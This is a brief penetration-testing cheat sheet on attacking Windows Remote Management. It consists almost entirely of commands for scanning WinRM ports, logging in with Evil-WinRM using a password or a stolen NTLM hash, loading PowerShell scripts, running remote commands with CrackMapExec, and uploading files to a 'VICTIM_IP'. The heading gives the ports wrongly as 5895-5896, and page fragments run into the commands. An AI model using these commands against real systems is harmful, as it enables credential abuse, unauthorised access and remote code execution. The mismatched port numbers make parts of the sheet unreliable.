WINRM - 5895-5896
WINRM scanning
nmap -p5985,5986 <IP>WINRM exploitation
# winrm
evil-winrm -h
# Use NTLM hash with Evil-WinRM to connect
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
#encrypt data with SSL
evil-winrm -i VICTIM_IP -u MyUser -p PASS -s
#load powershell script
evil-winrm -i VICTIM_IP -u MyUser -p PASS -s /path/to/powershell
# Execute a command on a target via WinRM using CrackMapExec
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Upload a file via evil-winrm
# Use the "menu" command in the session to access options like upload, download, etc.
# For example:
menu
Upload <file>Resources
Last updated